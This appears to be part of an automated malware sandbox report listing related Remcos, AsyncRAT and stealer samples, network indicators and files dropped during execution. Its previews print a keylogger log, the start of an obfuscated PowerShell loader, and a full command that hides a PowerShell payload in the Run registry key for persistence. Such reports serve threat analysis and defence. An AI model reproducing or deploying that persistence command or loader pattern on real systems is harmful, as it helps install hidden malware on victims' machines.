	OIQ1ybtQdW.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse	188.114.96.3
	1iH5ABLKIA.vbs	Get hash	malicious	AsyncRAT, DcRat, PureLog Stealer	Browse	188.114.96.3
	vr65co3Boo.vbs	Get hash	malicious	AsyncRAT, DcRat, PureLog Stealer	Browse	188.114.97.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	DHL Receipt_AWB 9892671327.xls	Get hash	malicious	Unknown	Browse	172.67.216.244
	Airwaybill#0587340231024.xla.xlsx	Get hash	malicious	FormBook	Browse	188.114.96.3
	Purchase Order - PO14895.vbs	Get hash	malicious	Remcos	Browse	188.114.96.3
	DHL Receipt_AWB 9892671327.xls	Get hash	malicious	Unknown	Browse	172.67.216.244
	GeriOdemeBildirimi942.rar.xlxs.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Comprobante.lnk.lnk	Get hash	malicious	Lokibot	Browse	188.114.97.3
	Payment proof.xls	Get hash	malicious	Unknown	Browse	172.67.216.244
	Comprobante.lnk.lnk	Get hash	malicious	Lokibot	Browse	188.114.96.3
	08(2)_00.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.21.16.12
CLOUDFLARENETUS	DHL Receipt_AWB 9892671327.xls	Get hash	malicious	Unknown	Browse	172.67.216.244
	Airwaybill#0587340231024.xla.xlsx	Get hash	malicious	FormBook	Browse	188.114.96.3
	Purchase Order - PO14895.vbs	Get hash	malicious	Remcos	Browse	188.114.96.3
	DHL Receipt_AWB 9892671327.xls	Get hash	malicious	Unknown	Browse	172.67.216.244
	GeriOdemeBildirimi942.rar.xlxs.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Comprobante.lnk.lnk	Get hash	malicious	Lokibot	Browse	188.114.97.3
	Payment proof.xls	Get hash	malicious	Unknown	Browse	172.67.216.244
	Comprobante.lnk.lnk	Get hash	malicious	Lokibot	Browse	188.114.96.3
	08(2)_00.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.21.16.12
UNREAL-SERVERSUS	17279403077f885c827960b6e8c87068d24f6ff15ba15cc4b7b6b413aafc09161cfef75b30571.dat-decoded.exe	Get hash	malicious	Remcos	Browse	212.162.149.163
	U9117neFFQ.exe	Get hash	malicious	Remcos	Browse	204.10.160.136
	DOdjjdr3LO.exe	Get hash	malicious	Remcos	Browse	204.10.160.136
	ejdc7iP3A7.vbs	Get hash	malicious	Remcos	Browse	204.10.160.136
	SecuriteInfo.com.BackDoor.AgentTeslaNET.42.31568.2849.exe	Get hash	malicious	Remcos	Browse	204.10.160.136
	Payment proof.xls	Get hash	malicious	Remcos	Browse	204.10.160.136
	TT12822024.xls	Get hash	malicious	Remcos	Browse	204.10.160.136
	R7Xrrix6Sx.exe	Get hash	malicious	RedLine	Browse	212.162.149.53
	RFQ -PO.20571-0001-QBMS-PRQ-0200140.js	Get hash	malicious	AgentTesla, RedLine	Browse	212.162.149.53
	1DUCJGrpyb.exe	Get hash	malicious	Remcos	Browse	204.10.160.136

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Purchase Order - PO14895.vbs	Get hash	malicious	Remcos	Browse	104.20.4.235 188.114.97.3 173.231.247.100
	GeriOdemeBildirimi942.rar.xlxs.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.20.4.235 188.114.97.3 173.231.247.100
	justificante de transferencia.vbs	Get hash	malicious	FormBook	Browse	104.20.4.235 188.114.97.3 173.231.247.100
	Comprobante.lnk.lnk	Get hash	malicious	Lokibot	Browse	104.20.4.235 188.114.97.3 173.231.247.100
	Comprobante.lnk.lnk	Get hash	malicious	Lokibot	Browse	104.20.4.235 188.114.97.3 173.231.247.100
	08(2)_00.exe	Get hash	malicious	AgentTesla	Browse	104.20.4.235 188.114.97.3 173.231.247.100
	Hesaphareketi-01.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.20.4.235 188.114.97.3 173.231.247.100
	hesaphareketi-01.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.20.4.235 188.114.97.3 173.231.247.100
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	104.20.4.235 188.114.97.3 173.231.247.100
	sostener.vbs	Get hash	malicious	Njrat	Browse	104.20.4.235 188.114.97.3 173.231.247.100

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	390
Entropy (8bit):	3.4740975030424557
Encrypted:	false
SSDEEP:	6:6lJSd4b5YcIeeDAlKe52WA6n+SkSJkJxw1gWA6n+SkSJkJxIWAv:6lJ+4Dec8e52W1+fZW1+feW+
MD5:	2539CB3DB101C665DF0461110C7788BA
SHA1:	0DF724AF5D4A22DCD1E03FED82495F0CE95D34BC
SHA-256:	7E57DEF52FD95289C15C5B8CECB4B9BBEE0D94B97D8268C451CFF58D6ABC460E
SHA-512:	C7F423DAC049860EA9CAF7D944C5C4C5595375C9FAE6393AFFA8967037207A8099EA0117603D3209D697122009F828E6B56A6B9871DF82CC7CF39699F7858676
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: C:\ProgramData\1210\logs.dat, Author: Joe Security
Preview:	....[.2.0.2.4./.1.0./.0.3. .0.3.:.2.8.:.2.3. .O.f.f.l.i.n.e. .K.e.y.l.o.g.g.e.r. .S.t.a.r.t.e.d.].....[.W.i.n.].r.....[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].........[.C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.\.c.m.d...e.x.e.].........[.R.u.n.].........[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].........[.C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.\.c.m.d...e.x.e.].........[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....

C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\hwcrj.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (32656)
Category:	dropped
Size (bytes):	1801920
Entropy (8bit):	3.8729557228520024
Encrypted:	false
SSDEEP:	12288:l1zabLuoSb0B5Yc8gjU3dNGeS5ra1SlxQjN4ZDZGNLjLYMxuIpsqd8fyjTDgn0N7:u3ZgoXOf1ssTv
MD5:	E7C82FA422BC247B3AF1F0C6A98A76A6
SHA1:	48E038FE5710A3C71D70EAF756A15C1A9F0ED576
SHA-256:	5503E9420481271CBC5BA26F1B106CD2BB6E985CCE64183EC17A06EB0C6DBC59
SHA-512:	5095BBE62CD54C4875393BD2398FF74B93048D81D94678F0407AA98EDA99B63219DB42685BEB4791B6B735684F98B27F2DD507362352EF09CBE701440484AAC1
Malicious:	true
Preview:	..$.d.q.s.x.B. .=. .'.C.:.\.W.i.n.d.o.w.s.\.M.i.c.r.o.s.o.f.t...N.E.T.\.'. .+. .'.F.r.a.m.e.w.o.r.k.\.v.4...0...3.0.3.1.9.\.'. .+. .'.R.e.g.A.s.m...e.x.e.'.;.....$.f.V.L.F.U. .=. .'..!:..!'.;...$.j.u.N.m.Q. .=. .'.A.'.;.....$.W.Y.v.t.t. .=. .'.T.V.q.Q..!:..!.!:..!M..!:..!.!:..!.!:..!.!:..!E..!:..!.!:..!.!:..!.!:..!/./.8..!:..!.!:..!L.g..!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!Q..!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!g..!:..!.!:..!.!:..!.!:..!.!:..!4.f.u.g.4..!:..!t..!:..!n.N.I.b.g.B.T.M.0.h.V.G.h.p.c.y.B.w.c.m.9.n.c.m.F.t.I.G.N.h.b.m.5.v.d.C.B.i.Z.S.B.y.d.W.4.g.a.W.4.g.R.E.9.T.I.G.1.v.Z.G.U.u.D.Q.0.K.J..!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!B.Q.R.Q..!:..!.!:..!T..!:..!E.D..!:..!G.G.g.7.G.Y..!:..!.!:..!.!:..!.!:..!.!:..!

C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\x2.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (339), with no line terminators
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.175513126663782
Encrypted:	false
SSDEEP:	6:sDuwZH1j0IQHjo54Zrcsny1R3KbQO0cbENjAuN723oH+B2KZmswVM45NHRn:sVVj0KsngkbQpcVuaYebwP7
MD5:	B67C3BEA61F4F45F9E53772D98BD1F5E
SHA1:	CFDA136843B843D21387A2C17A1F580920AE9EC4
SHA-256:	42BFD66EF0E725A7C7E480C8CD8992519EF09F30BF3FF746F27E34A4422DB6DE
SHA-512:	CA88CEC35C3EB3769B57C256254ECACB4C412426164C74880CAD3BE8A49A6FA11A4305F55A08D21B654D54CC4C0E7487DAB0A9F6D8794EBDFB25310817C4ADB2
Malicious:	false
Preview:	New-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "Update Drivers NVIDEO_vuw" -Value "cmd.exe /c start /min `"`" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Comman `". 'C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\hwcrj.ps1' `";exit" -PropertyType "String" -force ; exit

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	9434
Entropy (8bit):	4.928515784730612
Encrypted:	false
SSDEEP:	192:Lxoe5qpOZxoe54ib4ZVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smAH:srib4ZIkjh4iUxsT6Ypib47
MD5:	D3594118838EF8580975DDA877E44DEB
SHA1:	0ACABEA9B50CA74E6EBAE326251253BAF2E53371
SHA-256:	456A877AFDD786310F7DAF74CCBC7FB6B0A0D14ABD37E3D6DE9D8277FFAC7DDE
SHA-512:	103EA89FA5AC7E661417BBFE049415EF7FA6A09C461337C174DF02925D6A691994FE91B148B28D6A712604BDBC4D1DB5FEED8F879731B36326725AA9714AC53C
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulh49//lz:NllUu9//
MD5:	AADE84B9650AB09D8DC304B168D6D555
SHA1:	17BC4180A60DBFF0B3F9BF8E5C5987D452D1D868
SHA-256:	2C79C35AD1C4DFF21408F447C6AD565ACC3BDE8C8869108C8AA2F05B79539090
SHA-512:	594C57CC7D421DD576EA05344E4EA8179D93295003638AD34A634BB5632B88DF65B7AEB52515E50CA060DA57F7BC6553C0193FF1931CB95D9BDEC3845779045D
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2odjsreb.3ee.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_30muupxy.oof.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_355wyowr.4mh.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3pcgnwal.lvb.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e0eo2lqc.ea3.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eey4aeiy.epi.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g5wbr03l.bzg.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jbf1cixn.r34.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m1snccbb.02v.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_myjq1qrj.ckp.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_onctug1l.lnb.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_opy1veih.brh.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pwmwqtex.1du.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uyh0zagw.m52.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vjtezlof.q34.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x1fvvhl3.z1m.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xpefziyl.pxn.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y2cdge2y.spg.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zkygwrx3.tlf.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zwtczm4x.b0s.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

